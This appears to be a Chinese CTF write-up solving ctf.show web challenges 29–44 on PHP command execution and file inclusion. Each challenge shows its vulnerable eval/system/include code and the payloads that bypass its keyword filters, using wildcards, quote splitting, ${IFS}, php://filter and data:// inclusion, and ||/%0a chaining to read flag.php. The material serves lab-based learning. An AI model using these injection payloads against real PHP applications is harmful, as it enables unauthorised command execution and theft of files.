前言
红中(hong_zh0) CSDN内容合伙人、2023年新星计划web安全方向导师、 华为MindSpore截至目前最年轻的优秀开发者、IK&N战队队长、 吉林师范大学网安大一的一名普通学生、搞网安论文拿了回大挑校二、 阿里云专家博主、华为网络安全云享专家、腾讯云自媒体分享计划博主
web29
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
第一题,相当于啥都没过滤。
Payload: ?c=system("tac fl??????")//?通配符 ?c=system("tac fl*");//*通配符 ?c=system("tac fl\ag.php");//\分割 ?c=system("tac fl''ag.php");//''分割
web30
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
ban了system(),考虑替代方案
Payload: ?c=passthru("tac fl\ag.p\hp");
命令执行中可以替代system函数的有
1、exec()
2、passthru()
3、反引号/shell_exec()
区别在于:
system()/passthru()
直接将结果输出到浏览器
exec()/shell_exec()/反引号
需要通过echo/return来查看结果
web31
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
相较于上一题过滤多点:点,空格,单引号
Payload: ?c=passthru("nl%09fl*");//纯绕 ?c=eval($_GET[1]);&1=system("tac flag.php");//类似于一个跳板
空格被Ban:
${IFS}
<
>
<>
%09
%0a(二者差别主要在于前者通常插在中间而后者一般放在末尾)
读取文件语句:
nl*(输出带行号)
cat/tac(二者一正序一倒序)
关于跳板
已知浏览器需要一个名为c的变量,这个跳板的原理就是c的值是要再读取一个值,这个值将不受任何限制。
web32
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
这又把(过滤了,没招,用包含做
Payload: ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
后面伪协议随便拿个hackbar跑就行
出来一串base64编码
直接解码出flag
web33-36
用上一题的方法通杀了
web37
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
换姿势了,得包含。
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
data协议包含,然后直接传命令
<?php system('cat flag.php');?>
记得编码再传
web38-web39
用上题方法通杀
web40
我是彩笔,不会,建议看师傅WPctf.show
web41
web42
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
出现了一个奇怪的东西
>/dev/null 2>&1
建议看这篇博客>/dev/null 2>&1
省流:
这个玩意就类似一个垃圾桶,屏蔽所有输出以及报错
Payload: ?c=cat flag.php%0a//%0a截断 ?c=cat flag.php||//||截断 ?c=tac flag.php%26%26ls//传两个值进去,垃圾桶只能吃一个 ?c=tac flag.php;//分号直接截断
web43
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
把分号ban了
没事,||接着绕
Payload: ?c=tac flag.php||
web44
不开环境了,估计就是在上一题的基础上把flag ban了
?c=tac fl*||